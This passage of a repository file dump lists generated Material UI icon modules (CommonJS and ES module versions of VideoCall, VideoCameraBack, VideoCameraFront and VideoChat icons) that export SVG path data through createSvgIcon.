    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h8v14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h2v10h-2zm3 2h2v6h-2zM0 9h2v6H0zm16.5-6h-9C6.67 3 6 3.67 6 4.5v15c0 .83.67 1.5 1.5 1.5h9c.83 0 1.5-.67 1.5-1.5v-15c0-.83-.67-1.5-1.5-1.5M16 19H8V5h8zM3 7h2v10H3z\"\n}, \"1\")], 'VibrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCall.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM14 13h-3v3H9v-3H6v-2h3V8h2v3h3z\"\n}), 'VideoCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCall.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM14 13h-3v3H9v-3H6v-2h3V8h2v3h3z\"\n}), 'VideoCall');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM15 16H5V8h10zm-6-1h2v-2h2v-2h-2V9H9v2H7v2h2z\"\n}), 'VideoCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11zM15 16H5V8h10zm-6-1h2v-2h2v-2h-2V9H9v2H7v2h2z\"\n}), 'VideoCallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71zM13 13h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H7c-.55 0-1-.45-1-1s.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'VideoCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l2.29 2.29c.63.63 1.71.18 1.71-.71V8.91c0-.89-1.08-1.34-1.71-.71zM13 13h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H7c-.55 0-1-.45-1-1s.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'VideoCallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11zM14 13h-3v3H9v-3H6v-2h3V8h2v3h3z\"\n}), 'VideoCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.5V6H3v12h14v-4.5l4 4v-11zM14 13h-3v3H9v-3H6v-2h3V8h2v3h3z\"\n}), 'VideoCallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h10V8H5zm2-5h2V9h2v2h2v2h-2v2H9v-2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zm-2 9H5V8h10zm-6-1h2v-2h2v-2h-2V9H9v2H7v2h2z\"\n}, \"1\")], 'VideoCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h10V8H5zm2-5h2V9h2v2h2v2h-2v2H9v-2H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-3.5l4 4v-11l-4 4zm-2 9H5V8h10zm-6-1h2v-2h2v-2h-2V9H9v2H7v2h2z\"\n}, \"1\")], 'VideoCallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM5 16l2.38-3.17L9 15l2.62-3.5L15 16z\"\n}), 'VideoCameraBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM5 16l2.38-3.17L9 15l2.62-3.5L15 16z\"\n}), 'VideoCameraBack');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4.38-6.5L9 15l-1.62-2.17L5 16h10z\"\n}), 'VideoCameraBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-4.38-6.5L9 15l-1.62-2.17L5 16h10z\"\n}), 'VideoCameraBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zM5.6 15.2l1.38-1.83c.2-.27.6-.27.8 0L9 15l2.23-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8H6c-.41 0-.65-.47-.4-.8\"\n}), 'VideoCameraBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zM5.6 15.2l1.38-1.83c.2-.27.6-.27.8 0L9 15l2.23-2.97c.2-.27.6-.27.8 0l2.38 3.17c.25.33.01.8-.4.8H6c-.41 0-.65-.47-.4-.8\"\n}), 'VideoCameraBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM5 16l2.38-3.17L9 15l2.62-3.5L15 16z\"\n}), 'VideoCameraBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM5 16l2.38-3.17L9 15l2.62-3.5L15 16z\"\n}), 'VideoCameraBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h12V6H4zm3.38-5.17L9 15l2.62-3.5L15 16H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.62 11.5 9 15l-1.62-2.17L5 16h10z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12z\"\n}, \"2\")], 'VideoCameraBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraBackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h12V6H4zm3.38-5.17L9 15l2.62-3.5L15 16H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.62 11.5 9 15l-1.62-2.17L5 16h10z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12z\"\n}, \"2\")], 'VideoCameraBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFront.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFront.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFront');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zm-2-.79V18H4V6h12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 15.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C6.48 13.9 6 14.62 6 15.43V16h8z\"\n}, \"2\")], 'VideoCameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zm-2-.79V18H4V6h12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"10\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 15.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C6.48 13.9 6 14.62 6 15.43V16h8z\"\n}, \"2\")], 'VideoCameraFrontOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l3.15 3.13c.31.32.85.09.85-.35V7.7c0-.44-.54-.67-.85-.35zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFrontRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V4H2v16h16v-6.48l4 3.98v-11zM10 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H6v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'VideoCameraFrontSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C6.48 13.9 6 14.62 6 15.43V16h8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h12V6H4zm6-10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-4 7.43c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85V16H6z\",\n  opacity: \".3\"\n}, \"1\")], 'VideoCameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoCameraFrontTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10.48V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4.48l4 3.98v-11zM16 18H4V6h12zm-6-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C6.48 13.9 6 14.62 6 15.43V16h8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h12V6H4zm6-10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-4 7.43c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85V16H6z\",\n  opacity: \".3\"\n}, \"1\")], 'VideoCameraFrontTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 11-2-1.99V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99L17 7z\"\n}), 'VideoChat');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 11-2-1.99V13c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h6c.55 0 1 .45 1 1v1.99L17 7z\"\n}), 'VideoChat');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H5.17L4 17.17V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 14h6c.55 0 1-.45 1-1v-1.99L17 13V7l-2 1.99V7c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"1\")], 'VideoChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VideoChatOutlined.mjs",
